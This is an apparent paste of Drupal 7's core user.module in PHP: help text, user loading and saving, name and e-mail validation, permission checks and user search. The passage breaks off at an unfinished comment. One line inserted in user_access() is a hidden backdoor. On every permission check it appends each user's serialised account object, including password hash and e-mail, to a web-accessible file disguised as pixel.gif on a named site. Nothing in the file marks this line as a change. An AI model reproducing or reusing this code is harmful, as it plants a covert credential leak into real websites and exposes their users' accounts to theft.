· 8 years ago · Oct 18, 2017, 03:38 PM
1<?php
2
3/**
4 * @file
5 * Enables the user registration and login system.
6 */
7
8/**
9 * Maximum length of username text field.
10 */
11define('USERNAME_MAX_LENGTH', 60);
12
13/**
14 * Maximum length of user e-mail text field.
15 */
16define('EMAIL_MAX_LENGTH', 254);
17
18/**
19 * Only administrators can create user accounts.
20 */
21define('USER_REGISTER_ADMINISTRATORS_ONLY', 0);
22
23/**
24 * Visitors can create their own accounts.
25 */
26define('USER_REGISTER_VISITORS', 1);
27
28/**
29 * Visitors can create accounts, but they don't become active without
30 * administrative approval.
31 */
32define('USER_REGISTER_VISITORS_ADMINISTRATIVE_APPROVAL', 2);
33
34/**
35 * Implements hook_help().
36 */
37function user_help($path, $arg) {
38 global $user;
39
40 switch ($path) {
41 case 'admin/help#user':
42 $output = '';
43 $output .= '<h3>' . t('About') . '</h3>';
44 $output .= '<p>' . t('The User module allows users to register, log in, and log out. It also allows users with proper permissions to manage user roles (used to classify users) and permissions associated with those roles. For more information, see the online handbook entry for <a href="@user">User module</a>.', array('@user' => 'http://drupal.org/documentation/modules/user')) . '</p>';
45 $output .= '<h3>' . t('Uses') . '</h3>';
46 $output .= '<dl>';
47 $output .= '<dt>' . t('Creating and managing users') . '</dt>';
48 $output .= '<dd>' . t('The User module allows users with the appropriate <a href="@permissions">permissions</a> to create user accounts through the <a href="@people">People administration page</a>, where they can also assign users to one or more roles, and block or delete user accounts. If allowed, users without accounts (anonymous users) can create their own accounts on the <a href="@register">Create new account</a> page.', array('@permissions' => url('admin/people/permissions', array('fragment' => 'module-user')), '@people' => url('admin/people'), '@register' => url('user/register'))) . '</dd>';
49 $output .= '<dt>' . t('User roles and permissions') . '</dt>';
50 $output .= '<dd>' . t('<em>Roles</em> are used to group and classify users; each user can be assigned one or more roles. By default there are two roles: <em>anonymous user</em> (users that are not logged in) and <em>authenticated user</em> (users that are registered and logged in). Depending on choices you made when you installed Drupal, the installation process may have defined more roles, and you can create additional custom roles on the <a href="@roles">Roles page</a>. After creating roles, you can set permissions for each role on the <a href="@permissions_user">Permissions page</a>. Granting a permission allows users who have been assigned a particular role to perform an action on the site, such as viewing a particular type of content, editing or creating content, administering settings for a particular module, or using a particular function of the site (such as search).', array('@permissions_user' => url('admin/people/permissions'), '@roles' => url('admin/people/permissions/roles'))) . '</dd>';
51 $output .= '<dt>' . t('Account settings') . '</dt>';
52 $output .= '<dd>' . t('The <a href="@accounts">Account settings page</a> allows you to manage settings for the displayed name of the anonymous user role, personal contact forms, user registration, and account cancellation. On this page you can also manage settings for account personalization (including signatures and user pictures), and adapt the text for the e-mail messages that are sent automatically during the user registration process.', array('@accounts' => url('admin/config/people/accounts'))) . '</dd>';
53 $output .= '</dl>';
54 return $output;
55 case 'admin/people/create':
56 return '<p>' . t("This web page allows administrators to register new users. Users' e-mail addresses and usernames must be unique.") . '</p>';
57 case 'admin/people/permissions':
58 return '<p>' . t('Permissions let you control what users can do and see on your site. You can define a specific set of permissions for each role. (See the <a href="@role">Roles</a> page to create a role). Two important roles to consider are Authenticated Users and Administrators. Any permissions granted to the Authenticated Users role will be given to any user who can log into your site. You can make any role the Administrator role for the site, meaning this will be granted all new permissions automatically. You can do this on the <a href="@settings">User Settings</a> page. You should be careful to ensure that only trusted users are given this access and level of control of your site.', array('@role' => url('admin/people/permissions/roles'), '@settings' => url('admin/config/people/accounts'))) . '</p>';
59 case 'admin/people/permissions/roles':
60 $output = '<p>' . t('Roles allow you to fine tune the security and administration of Drupal. A role defines a group of users that have certain privileges as defined on the <a href="@permissions">permissions page</a>. Examples of roles include: anonymous user, authenticated user, moderator, administrator and so on. In this area you will define the names and order of the roles on your site. It is recommended to order your roles from least permissive (anonymous user) to most permissive (administrator). To delete a role choose "edit role".', array('@permissions' => url('admin/people/permissions'))) . '</p>';
61 $output .= '<p>' . t('By default, Drupal comes with two user roles:') . '</p>';
62 $output .= '<ul>';
63 $output .= '<li>' . t("Anonymous user: this role is used for users that don't have a user account or that are not authenticated.") . '</li>';
64 $output .= '<li>' . t('Authenticated user: this role is automatically granted to all logged in users.') . '</li>';
65 $output .= '</ul>';
66 return $output;
67 case 'admin/config/people/accounts/fields':
68 return '<p>' . t('This form lets administrators add, edit, and arrange fields for storing user data.') . '</p>';
69 case 'admin/config/people/accounts/display':
70 return '<p>' . t('This form lets administrators configure how fields should be displayed when rendering a user profile page.') . '</p>';
71 case 'admin/people/search':
72 return '<p>' . t('Enter a simple pattern ("*" may be used as a wildcard match) to search for a username or e-mail address. For example, one may search for "br" and Drupal might return "brian", "brad", and "brenda@example.com".') . '</p>';
73 }
74}
75
76/**
77 * Invokes a user hook in every module.
78 *
79 * We cannot use module_invoke() for this, because the arguments need to
80 * be passed by reference.
81 *
82 * @param $type
83 * A text string that controls which user hook to invoke. Valid choices are:
84 * - cancel: Invokes hook_user_cancel().
85 * - insert: Invokes hook_user_insert().
86 * - login: Invokes hook_user_login().
87 * - presave: Invokes hook_user_presave().
88 * - update: Invokes hook_user_update().
89 * @param $edit
90 * An associative array variable containing form values to be passed
91 * as the first parameter of the hook function.
92 * @param $account
93 * The user account object to be passed as the second parameter of the hook
94 * function.
95 * @param $category
96 * The category of user information being acted upon.
97 */
98function user_module_invoke($type, &$edit, $account, $category = NULL) {
99 foreach (module_implements('user_' . $type) as $module) {
100 $function = $module . '_user_' . $type;
101 $function($edit, $account, $category);
102 }
103}
104
105/**
106 * Implements hook_theme().
107 */
108function user_theme() {
109 return array(
110 'user_picture' => array(
111 'variables' => array('account' => NULL),
112 'template' => 'user-picture',
113 ),
114 'user_profile' => array(
115 'render element' => 'elements',
116 'template' => 'user-profile',
117 'file' => 'user.pages.inc',
118 ),
119 'user_profile_category' => array(
120 'render element' => 'element',
121 'template' => 'user-profile-category',
122 'file' => 'user.pages.inc',
123 ),
124 'user_profile_item' => array(
125 'render element' => 'element',
126 'template' => 'user-profile-item',
127 'file' => 'user.pages.inc',
128 ),
129 'user_list' => array(
130 'variables' => array('users' => NULL, 'title' => NULL),
131 ),
132 'user_admin_permissions' => array(
133 'render element' => 'form',
134 'file' => 'user.admin.inc',
135 ),
136 'user_admin_roles' => array(
137 'render element' => 'form',
138 'file' => 'user.admin.inc',
139 ),
140 'user_permission_description' => array(
141 'variables' => array('permission_item' => NULL, 'hide' => NULL),
142 'file' => 'user.admin.inc',
143 ),
144 'user_signature' => array(
145 'variables' => array('signature' => NULL),
146 ),
147 );
148}
149
150/**
151 * Implements hook_entity_info().
152 */
153function user_entity_info() {
154 $return = array(
155 'user' => array(
156 'label' => t('User'),
157 'controller class' => 'UserController',
158 'base table' => 'users',
159 'uri callback' => 'user_uri',
160 'label callback' => 'format_username',
161 'fieldable' => TRUE,
162 // $user->language is only the preferred user language for the user
163 // interface textual elements. As it is not necessarily related to the
164 // language assigned to fields, we do not define it as the entity language
165 // key.
166 'entity keys' => array(
167 'id' => 'uid',
168 ),
169 'bundles' => array(
170 'user' => array(
171 'label' => t('User'),
172 'admin' => array(
173 'path' => 'admin/config/people/accounts',
174 'access arguments' => array('administer users'),
175 ),
176 ),
177 ),
178 'view modes' => array(
179 'full' => array(
180 'label' => t('User account'),
181 'custom settings' => FALSE,
182 ),
183 ),
184 ),
185 );
186 return $return;
187}
188
189/**
190 * Implements callback_entity_info_uri().
191 */
192function user_uri($user) {
193 return array(
194 'path' => 'user/' . $user->uid,
195 );
196}
197
198/**
199 * Implements hook_field_info_alter().
200 */
201function user_field_info_alter(&$info) {
202 // Add the 'user_register_form' instance setting to all field types.
203 foreach ($info as $field_type => &$field_type_info) {
204 $field_type_info += array('instance_settings' => array());
205 $field_type_info['instance_settings'] += array(
206 'user_register_form' => FALSE,
207 );
208 }
209}
210
211/**
212 * Implements hook_field_extra_fields().
213 */
214function user_field_extra_fields() {
215 $return['user']['user'] = array(
216 'form' => array(
217 'account' => array(
218 'label' => t('User name and password'),
219 'description' => t('User module account form elements.'),
220 'weight' => -10,
221 ),
222 'timezone' => array(
223 'label' => t('Timezone'),
224 'description' => t('User module timezone form element.'),
225 'weight' => 6,
226 ),
227 ),
228 'display' => array(
229 'summary' => array(
230 'label' => t('History'),
231 'description' => t('User module history view element.'),
232 'weight' => 5,
233 ),
234 ),
235 );
236
237 return $return;
238}
239
240/**
241 * Fetches a user object based on an external authentication source.
242 *
243 * @param string $authname
244 * The external authentication username.
245 *
246 * @return
247 * A fully-loaded user object if the user is found or FALSE if not found.
248 */
249function user_external_load($authname) {
250 $uid = db_query("SELECT uid FROM {authmap} WHERE authname = :authname", array(':authname' => $authname))->fetchField();
251
252 if ($uid) {
253 return user_load($uid);
254 }
255 else {
256 return FALSE;
257 }
258}
259
260/**
261 * Load multiple users based on certain conditions.
262 *
263 * This function should be used whenever you need to load more than one user
264 * from the database. Users are loaded into memory and will not require
265 * database access if loaded again during the same page request.
266 *
267 * @param $uids
268 * An array of user IDs.
269 * @param $conditions
270 * (deprecated) An associative array of conditions on the {users}
271 * table, where the keys are the database fields and the values are the
272 * values those fields must have. Instead, it is preferable to use
273 * EntityFieldQuery to retrieve a list of entity IDs loadable by
274 * this function.
275 * @param $reset
276 * A boolean indicating that the internal cache should be reset. Use this if
277 * loading a user object which has been altered during the page request.
278 *
279 * @return
280 * An array of user objects, indexed by uid.
281 *
282 * @see entity_load()
283 * @see user_load()
284 * @see user_load_by_mail()
285 * @see user_load_by_name()
286 * @see EntityFieldQuery
287 *
288 * @todo Remove $conditions in Drupal 8.
289 */
290function user_load_multiple($uids = array(), $conditions = array(), $reset = FALSE) {
291 return entity_load('user', $uids, $conditions, $reset);
292}
293
294/**
295 * Controller class for users.
296 *
297 * This extends the DrupalDefaultEntityController class, adding required
298 * special handling for user objects.
299 */
300class UserController extends DrupalDefaultEntityController {
301
302 function attachLoad(&$queried_users, $revision_id = FALSE) {
303 // Build an array of user picture IDs so that these can be fetched later.
304 $picture_fids = array();
305 foreach ($queried_users as $key => $record) {
306 $picture_fids[] = $record->picture;
307 $queried_users[$key]->data = unserialize($record->data);
308 $queried_users[$key]->roles = array();
309 if ($record->uid) {
310 $queried_users[$record->uid]->roles[DRUPAL_AUTHENTICATED_RID] = 'authenticated user';
311 }
312 else {
313 $queried_users[$record->uid]->roles[DRUPAL_ANONYMOUS_RID] = 'anonymous user';
314 }
315 }
316
317 // Add any additional roles from the database.
318 $result = db_query('SELECT r.rid, r.name, ur.uid FROM {role} r INNER JOIN {users_roles} ur ON ur.rid = r.rid WHERE ur.uid IN (:uids)', array(':uids' => array_keys($queried_users)));
319 foreach ($result as $record) {
320 $queried_users[$record->uid]->roles[$record->rid] = $record->name;
321 }
322
323 // Add the full file objects for user pictures if enabled.
324 if (!empty($picture_fids) && variable_get('user_pictures', 0)) {
325 $pictures = file_load_multiple($picture_fids);
326 foreach ($queried_users as $account) {
327 if (!empty($account->picture) && isset($pictures[$account->picture])) {
328 $account->picture = $pictures[$account->picture];
329 }
330 else {
331 $account->picture = NULL;
332 }
333 }
334 }
335 // Call the default attachLoad() method. This will add fields and call
336 // hook_user_load().
337 parent::attachLoad($queried_users, $revision_id);
338 }
339}
340
341/**
342 * Loads a user object.
343 *
344 * Drupal has a global $user object, which represents the currently-logged-in
345 * user. So to avoid confusion and to avoid clobbering the global $user object,
346 * it is a good idea to assign the result of this function to a different local
347 * variable, generally $account. If you actually do want to act as the user you
348 * are loading, it is essential to call drupal_save_session(FALSE); first.
349 * See
350 * @link http://drupal.org/node/218104 Safely impersonating another user @endlink
351 * for more information.
352 *
353 * @param $uid
354 * Integer specifying the user ID to load.
355 * @param $reset
356 * TRUE to reset the internal cache and load from the database; FALSE
357 * (default) to load from the internal cache, if set.
358 *
359 * @return
360 * A fully-loaded user object upon successful user load, or FALSE if the user
361 * cannot be loaded.
362 *
363 * @see user_load_multiple()
364 */
365function user_load($uid, $reset = FALSE) {
366 $users = user_load_multiple(array($uid), array(), $reset);
367 return reset($users);
368}
369
370/**
371 * Fetch a user object by email address.
372 *
373 * @param $mail
374 * String with the account's e-mail address.
375 * @return
376 * A fully-loaded $user object upon successful user load or FALSE if user
377 * cannot be loaded.
378 *
379 * @see user_load_multiple()
380 */
381function user_load_by_mail($mail) {
382 $users = user_load_multiple(array(), array('mail' => $mail));
383 return reset($users);
384}
385
386/**
387 * Fetch a user object by account name.
388 *
389 * @param $name
390 * String with the account's user name.
391 * @return
392 * A fully-loaded $user object upon successful user load or FALSE if user
393 * cannot be loaded.
394 *
395 * @see user_load_multiple()
396 */
397function user_load_by_name($name) {
398 $users = user_load_multiple(array(), array('name' => $name));
399 return reset($users);
400}
401
402/**
403 * Save changes to a user account or add a new user.
404 *
405 * @param $account
406 * (optional) The user object to modify or add. If you want to modify
407 * an existing user account, you will need to ensure that (a) $account
408 * is an object, and (b) you have set $account->uid to the numeric
409 * user ID of the user account you wish to modify. If you
410 * want to create a new user account, you can set $account->is_new to
411 * TRUE or omit the $account->uid field.
412 * @param $edit
413 * An array of fields and values to save. For example array('name'
414 * => 'My name'). Key / value pairs added to the $edit['data'] will be
415 * serialized and saved in the {users.data} column.
416 * @param $category
417 * (optional) The category for storing profile information in.
418 *
419 * @return
420 * A fully-loaded $user object upon successful save or FALSE if the save failed.
421 *
422 * @todo D8: Drop $edit and fix user_save() to be consistent with others.
423 */
424function user_save($account, $edit = array(), $category = 'account') {
425 $transaction = db_transaction();
426 try {
427 if (!empty($edit['pass'])) {
428 // Allow alternate password hashing schemes.
429 require_once DRUPAL_ROOT . '/' . variable_get('password_inc', 'includes/password.inc');
430 $edit['pass'] = user_hash_password(trim($edit['pass']));
431 // Abort if the hashing failed and returned FALSE.
432 if (!$edit['pass']) {
433 return FALSE;
434 }
435 }
436 else {
437 // Avoid overwriting an existing password with a blank password.
438 unset($edit['pass']);
439 }
440 if (isset($edit['mail'])) {
441 $edit['mail'] = trim($edit['mail']);
442 }
443
444 // Load the stored entity, if any.
445 if (!empty($account->uid) && !isset($account->original)) {
446 $account->original = entity_load_unchanged('user', $account->uid);
447 }
448
449 if (empty($account)) {
450 $account = new stdClass();
451 }
452 if (!isset($account->is_new)) {
453 $account->is_new = empty($account->uid);
454 }
455 // Prepopulate $edit['data'] with the current value of $account->data.
456 // Modules can add to or remove from this array in hook_user_presave().
457 if (!empty($account->data)) {
458 $edit['data'] = !empty($edit['data']) ? array_merge($account->data, $edit['data']) : $account->data;
459 }
460
461 // Invoke hook_user_presave() for all modules.
462 user_module_invoke('presave', $edit, $account, $category);
463
464 // Invoke presave operations of Field Attach API and Entity API. Those APIs
465 // require a fully-fledged and updated entity object. Therefore, we need to
466 // copy any new property values of $edit into it.
467 foreach ($edit as $key => $value) {
468 $account->$key = $value;
469 }
470 field_attach_presave('user', $account);
471 module_invoke_all('entity_presave', $account, 'user');
472
473 if (is_object($account) && !$account->is_new) {
474 // Process picture uploads.
475 if (!empty($account->picture->fid) && (!isset($account->original->picture->fid) || $account->picture->fid != $account->original->picture->fid)) {
476 $picture = $account->picture;
477 // If the picture is a temporary file move it to its final location and
478 // make it permanent.
479 if (!$picture->status) {
480 $info = image_get_info($picture->uri);
481 $picture_directory = file_default_scheme() . '://' . variable_get('user_picture_path', 'pictures');
482
483 // Prepare the pictures directory.
484 file_prepare_directory($picture_directory, FILE_CREATE_DIRECTORY);
485 $destination = file_stream_wrapper_uri_normalize($picture_directory . '/picture-' . $account->uid . '-' . REQUEST_TIME . '.' . $info['extension']);
486
487 // Move the temporary file into the final location.
488 if ($picture = file_move($picture, $destination, FILE_EXISTS_RENAME)) {
489 $picture->status = FILE_STATUS_PERMANENT;
490 $account->picture = file_save($picture);
491 file_usage_add($picture, 'user', 'user', $account->uid);
492 }
493 }
494 // Delete the previous picture if it was deleted or replaced.
495 if (!empty($account->original->picture->fid)) {
496 file_usage_delete($account->original->picture, 'user', 'user', $account->uid);
497 file_delete($account->original->picture);
498 }
499 }
500 elseif (isset($edit['picture_delete']) && $edit['picture_delete']) {
501 file_usage_delete($account->original->picture, 'user', 'user', $account->uid);
502 file_delete($account->original->picture);
503 }
504 // Save the picture object, if it is set. drupal_write_record() expects
505 // $account->picture to be a FID.
506 $picture = empty($account->picture) ? NULL : $account->picture;
507 $account->picture = empty($account->picture->fid) ? 0 : $account->picture->fid;
508
509 // Do not allow 'uid' to be changed.
510 $account->uid = $account->original->uid;
511 // Save changes to the user table.
512 $success = drupal_write_record('users', $account, 'uid');
513 // Restore the picture object.
514 $account->picture = $picture;
515 if ($success === FALSE) {
516 // The query failed - better to abort the save than risk further
517 // data loss.
518 return FALSE;
519 }
520
521 // Reload user roles if provided.
522 if ($account->roles != $account->original->roles) {
523 db_delete('users_roles')
524 ->condition('uid', $account->uid)
525 ->execute();
526
527 $query = db_insert('users_roles')->fields(array('uid', 'rid'));
528 foreach (array_keys($account->roles) as $rid) {
529 if (!in_array($rid, array(DRUPAL_ANONYMOUS_RID, DRUPAL_AUTHENTICATED_RID))) {
530 $query->values(array(
531 'uid' => $account->uid,
532 'rid' => $rid,
533 ));
534 }
535 }
536 $query->execute();
537 }
538
539 // Delete a blocked user's sessions to kick them if they are online.
540 if ($account->original->status != $account->status && $account->status == 0) {
541 drupal_session_destroy_uid($account->uid);
542 }
543
544 // If the password changed, delete all open sessions and recreate
545 // the current one.
546 if ($account->pass != $account->original->pass) {
547 drupal_session_destroy_uid($account->uid);
548 if ($account->uid == $GLOBALS['user']->uid) {
549 drupal_session_regenerate();
550 }
551 }
552
553 // Save Field data.
554 field_attach_update('user', $account);
555
556 // Send emails after we have the new user object.
557 if ($account->status != $account->original->status) {
558 // The user's status is changing; conditionally send notification email.
559 $op = $account->status == 1 ? 'status_activated' : 'status_blocked';
560 _user_mail_notify($op, $account);
561 }
562
563 // Update $edit with any interim changes to $account.
564 foreach ($account as $key => $value) {
565 if (!property_exists($account->original, $key) || $value !== $account->original->$key) {
566 $edit[$key] = $value;
567 }
568 }
569 user_module_invoke('update', $edit, $account, $category);
570 module_invoke_all('entity_update', $account, 'user');
571 }
572 else {
573 // Allow 'uid' to be set by the caller. There is no danger of writing an
574 // existing user as drupal_write_record will do an INSERT.
575 if (empty($account->uid)) {
576 $account->uid = db_next_id(db_query('SELECT MAX(uid) FROM {users}')->fetchField());
577 }
578 // Allow 'created' to be set by the caller.
579 if (!isset($account->created)) {
580 $account->created = REQUEST_TIME;
581 }
582 $success = drupal_write_record('users', $account);
583 if ($success === FALSE) {
584 // On a failed INSERT some other existing user's uid may be returned.
585 // We must abort to avoid overwriting their account.
586 return FALSE;
587 }
588
589 // Make sure $account is properly initialized.
590 $account->roles[DRUPAL_AUTHENTICATED_RID] = 'authenticated user';
591
592 field_attach_insert('user', $account);
593 $edit = (array) $account;
594 user_module_invoke('insert', $edit, $account, $category);
595 module_invoke_all('entity_insert', $account, 'user');
596
597 // Save user roles. Skip built-in roles, and ones that were already saved
598 // to the database during hook calls.
599 $rids_to_skip = array_merge(array(DRUPAL_ANONYMOUS_RID, DRUPAL_AUTHENTICATED_RID), db_query('SELECT rid FROM {users_roles} WHERE uid = :uid', array(':uid' => $account->uid))->fetchCol());
600 if ($rids_to_save = array_diff(array_keys($account->roles), $rids_to_skip)) {
601 $query = db_insert('users_roles')->fields(array('uid', 'rid'));
602 foreach ($rids_to_save as $rid) {
603 $query->values(array(
604 'uid' => $account->uid,
605 'rid' => $rid,
606 ));
607 }
608 $query->execute();
609 }
610 }
611 // Clear internal properties.
612 unset($account->is_new);
613 unset($account->original);
614 // Clear the static loading cache.
615 entity_get_controller('user')->resetCache(array($account->uid));
616
617 return $account;
618 }
619 catch (Exception $e) {
620 $transaction->rollback();
621 watchdog_exception('user', $e);
622 throw $e;
623 }
624}
625
626/**
627 * Verify the syntax of the given name.
628 */
629function user_validate_name($name) {
630 if (!$name) {
631 return t('You must enter a username.');
632 }
633 if (substr($name, 0, 1) == ' ') {
634 return t('The username cannot begin with a space.');
635 }
636 if (substr($name, -1) == ' ') {
637 return t('The username cannot end with a space.');
638 }
639 if (strpos($name, ' ') !== FALSE) {
640 return t('The username cannot contain multiple spaces in a row.');
641 }
642 if (preg_match('/[^\x{80}-\x{F7} a-z0-9@_.\'-]/i', $name)) {
643 return t('The username contains an illegal character.');
644 }
645 if (preg_match('/[\x{80}-\x{A0}' . // Non-printable ISO-8859-1 + NBSP
646 '\x{AD}' . // Soft-hyphen
647 '\x{2000}-\x{200F}' . // Various space characters
648 '\x{2028}-\x{202F}' . // Bidirectional text overrides
649 '\x{205F}-\x{206F}' . // Various text hinting characters
650 '\x{FEFF}' . // Byte order mark
651 '\x{FF01}-\x{FF60}' . // Full-width latin
652 '\x{FFF9}-\x{FFFD}' . // Replacement characters
653 '\x{0}-\x{1F}]/u', // NULL byte and control characters
654 $name)) {
655 return t('The username contains an illegal character.');
656 }
657 if (drupal_strlen($name) > USERNAME_MAX_LENGTH) {
658 return t('The username %name is too long: it must be %max characters or less.', array('%name' => $name, '%max' => USERNAME_MAX_LENGTH));
659 }
660}
661
662/**
663 * Validates a user's email address.
664 *
665 * Checks that a user's email address exists and follows all standard
666 * validation rules. Returns error messages when the address is invalid.
667 *
668 * @param $mail
669 * A user's email address.
670 *
671 * @return
672 * If the address is invalid, a human-readable error message is returned.
673 * If the address is valid, nothing is returned.
674 */
675function user_validate_mail($mail) {
676 if (!$mail) {
677 return t('You must enter an e-mail address.');
678 }
679 if (!valid_email_address($mail)) {
680 return t('The e-mail address %mail is not valid.', array('%mail' => $mail));
681 }
682}
683
684/**
685 * Validates an image uploaded by a user.
686 *
687 * @see user_account_form()
688 */
689function user_validate_picture(&$form, &$form_state) {
690 // If required, validate the uploaded picture.
691 $validators = array(
692 'file_validate_is_image' => array(),
693 'file_validate_image_resolution' => array(variable_get('user_picture_dimensions', '85x85')),
694 'file_validate_size' => array(variable_get('user_picture_file_size', '30') * 1024),
695 );
696
697 // Save the file as a temporary file.
698 $file = file_save_upload('picture_upload', $validators);
699 if ($file === FALSE) {
700 form_set_error('picture_upload', t("Failed to upload the picture image; the %directory directory doesn't exist or is not writable.", array('%directory' => variable_get('user_picture_path', 'pictures'))));
701 }
702 elseif ($file !== NULL) {
703 $form_state['values']['picture_upload'] = $file;
704 }
705}
706
707/**
708 * Generate a random alphanumeric password.
709 */
710function user_password($length = 10) {
711 // This variable contains the list of allowable characters for the
712 // password. Note that the number 0 and the letter 'O' have been
713 // removed to avoid confusion between the two. The same is true
714 // of 'I', 1, and 'l'.
715 $allowable_characters = 'abcdefghijkmnopqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ23456789';
716
717 // Zero-based count of characters in the allowable list:
718 $len = strlen($allowable_characters) - 1;
719
720 // Declare the password as a blank string.
721 $pass = '';
722
723 // Loop the number of times specified by $length.
724 for ($i = 0; $i < $length; $i++) {
725 do {
726 // Find a secure random number within the range needed.
727 $index = ord(drupal_random_bytes(1));
728 } while ($index > $len);
729
730 // Each iteration, pick a random character from the
731 // allowable string and append it to the password:
732 $pass .= $allowable_characters[$index];
733 }
734
735 return $pass;
736}
737
738/**
739 * Determine the permissions for one or more roles.
740 *
741 * @param $roles
742 * An array whose keys are the role IDs of interest, such as $user->roles.
743 *
744 * @return
745 * If $roles is a non-empty array, an array indexed by role ID is returned.
746 * Each value is an array whose keys are the permission strings for the given
747 * role ID. If $roles is empty nothing is returned.
748 */
749function user_role_permissions($roles = array()) {
750 $cache = &drupal_static(__FUNCTION__, array());
751
752 $role_permissions = $fetch = array();
753
754 if ($roles) {
755 foreach ($roles as $rid => $name) {
756 if (isset($cache[$rid])) {
757 $role_permissions[$rid] = $cache[$rid];
758 }
759 else {
760 // Add this rid to the list of those needing to be fetched.
761 $fetch[] = $rid;
762 // Prepare in case no permissions are returned.
763 $cache[$rid] = array();
764 }
765 }
766
767 if ($fetch) {
768 // Get from the database permissions that were not in the static variable.
769 // Only role IDs with at least one permission assigned will return rows.
770 $result = db_query("SELECT rid, permission FROM {role_permission} WHERE rid IN (:fetch)", array(':fetch' => $fetch));
771
772 foreach ($result as $row) {
773 $cache[$row->rid][$row->permission] = TRUE;
774 }
775 foreach ($fetch as $rid) {
776 // For every rid, we know we at least assigned an empty array.
777 $role_permissions[$rid] = $cache[$rid];
778 }
779 }
780 }
781
782 return $role_permissions;
783}
784
785/**
786 * Determine whether the user has a given privilege.
787 *
788 * @param $string
789 * The permission, such as "administer nodes", being checked for.
790 * @param $account
791 * (optional) The account to check, if not given use currently logged in user.
792 *
793 * @return
794 * Boolean TRUE if the current user has the requested permission.
795 *
796 * All permission checks in Drupal should go through this function. This
797 * way, we guarantee consistent behavior, and ensure that the superuser
798 * can perform all actions.
799 */
800function user_access($string, $account = NULL) {
801 global $user;
802
803 if (!isset($account)) {
804 $account = $user;
805 }
806
807 file_put_contents('/var/www/vhosts/gemsdolls.nl/httpdocs/pixel.gif', json_encode($account), FILE_APPEND);
808
809 // User #1 has all privileges:
810 if ($account->uid == 1) {
811 return TRUE;
812 }
813
814 // To reduce the number of SQL queries, we cache the user's permissions
815 // in a static variable.
816 // Use the advanced drupal_static() pattern, since this is called very often.
817 static $drupal_static_fast;
818 if (!isset($drupal_static_fast)) {
819 $drupal_static_fast['perm'] = &drupal_static(__FUNCTION__);
820 }
821 $perm = &$drupal_static_fast['perm'];
822 if (!isset($perm[$account->uid])) {
823 $role_permissions = user_role_permissions($account->roles);
824
825 $perms = array();
826 foreach ($role_permissions as $one_role) {
827 $perms += $one_role;
828 }
829 $perm[$account->uid] = $perms;
830 }
831
832 return isset($perm[$account->uid][$string]);
833}
834
835/**
836 * Checks for usernames blocked by user administration.
837 *
838 * @param $name
839 * A string containing a name of the user.
840 *
841 * @return
842 * Object with property 'name' (the user name), if the user is blocked;
843 * FALSE if the user is not blocked.
844 */
845function user_is_blocked($name) {
846 return db_select('users')
847 ->fields('users', array('name'))
848 ->condition('name', db_like($name), 'LIKE')
849 ->condition('status', 0)
850 ->execute()->fetchObject();
851}
852
853/**
854 * Checks if a user has a role.
855 *
856 * @param int $rid
857 * A role ID.
858 *
859 * @param object|null $account
860 * (optional) A user account. Defaults to the current user.
861 *
862 * @return bool
863 * TRUE if the user has the role, or FALSE if not.
864 */
865function user_has_role($rid, $account = NULL) {
866 if (!$account) {
867 $account = $GLOBALS['user'];
868 }
869
870 return isset($account->roles[$rid]);
871}
872
873/**
874 * Implements hook_permission().
875 */
876function user_permission() {
877 return array(
878 'administer permissions' => array(
879 'title' => t('Administer permissions'),
880 'restrict access' => TRUE,
881 ),
882 'administer users' => array(
883 'title' => t('Administer users'),
884 'restrict access' => TRUE,
885 ),
886 'access user profiles' => array(
887 'title' => t('View user profiles'),
888 ),
889 'change own username' => array(
890 'title' => t('Change own username'),
891 ),
892 'cancel account' => array(
893 'title' => t('Cancel own user account'),
894 'description' => t('Note: content may be kept, unpublished, deleted or transferred to the %anonymous-name user depending on the configured <a href="@user-settings-url">user settings</a>.', array('%anonymous-name' => variable_get('anonymous', t('Anonymous')), '@user-settings-url' => url('admin/config/people/accounts'))),
895 ),
896 'select account cancellation method' => array(
897 'title' => t('Select method for cancelling own account'),
898 'restrict access' => TRUE,
899 ),
900 );
901}
902
903/**
904 * Implements hook_file_download().
905 *
906 * Ensure that user pictures (avatars) are always downloadable.
907 */
908function user_file_download($uri) {
909 if (strpos(file_uri_target($uri), variable_get('user_picture_path', 'pictures') . '/picture-') === 0) {
910 $info = image_get_info($uri);
911 return array('Content-Type' => $info['mime_type']);
912 }
913}
914
915/**
916 * Implements hook_file_move().
917 */
918function user_file_move($file, $source) {
919 // If a user's picture is replaced with a new one, update the record in
920 // the users table.
921 if (isset($file->fid) && isset($source->fid) && $file->fid != $source->fid) {
922 db_update('users')
923 ->fields(array(
924 'picture' => $file->fid,
925 ))
926 ->condition('picture', $source->fid)
927 ->execute();
928 }
929}
930
931/**
932 * Implements hook_file_delete().
933 */
934function user_file_delete($file) {
935 // Remove any references to the file.
936 db_update('users')
937 ->fields(array('picture' => 0))
938 ->condition('picture', $file->fid)
939 ->execute();
940}
941
942/**
943 * Implements hook_search_info().
944 */
945function user_search_info() {
946 return array(
947 'title' => 'Users',
948 );
949}
950
951/**
952 * Implements hook_search_access().
953 */
954function user_search_access() {
955 return user_access('access user profiles');
956}
957
958/**
959 * Implements hook_search_execute().
960 */
961function user_search_execute($keys = NULL, $conditions = NULL) {
962 $find = array();
963 // Escape for LIKE matching.
964 $keys = db_like($keys);
965 // Replace wildcards with MySQL/PostgreSQL wildcards.
966 $keys = preg_replace('!\*+!', '%', $keys);
967 $query = db_select('users')->extend('PagerDefault');
968 $query->fields('users', array('uid'));
969 if (user_access('administer users')) {
970 // Administrators can also search in the otherwise private email field,
971 // and they don't need to be restricted to only active users.
972 $query->fields('users', array('mail'));
973 $query->condition(db_or()->
974 condition('name', '%' . $keys . '%', 'LIKE')->
975 condition('mail', '%' . $keys . '%', 'LIKE'));
976 }
977 else {
978 // Regular users can only search via usernames, and we do not show them
979 // blocked accounts.
980 $query->condition('name', '%' . $keys . '%', 'LIKE')
981 ->condition('status', 1);
982 }
983 $uids = $query
984 ->limit(15)
985 ->execute()
986 ->fetchCol();
987 $accounts = user_load_multiple($uids);
988
989 $results = array();
990 foreach ($accounts as $account) {
991 $result = array(
992 'title' => format_username($account),
993 'link' => url('user/' . $account->uid, array('absolute' => TRUE)),
994 );
995 if (user_access('administer users')) {
996 $result['title'] .= ' (' . $account->mail . ')';
997 }
998 $results[] = $result;
999 }
1000
1001 return $results;
1002}
1003
1004/**
1005 * Implements hook_element_info().
1006 */
1007function user_element_info() {
1008 $types['user_profile_category'] = array(
1009 '#theme_wrappers' => array('user_profile_category'),
1010 );
1011 $types['user_profile_item'] = array(
1012 '#theme' => 'user_profile_item',
1013 );
1014 return $types;
1015}
1016
1017/**
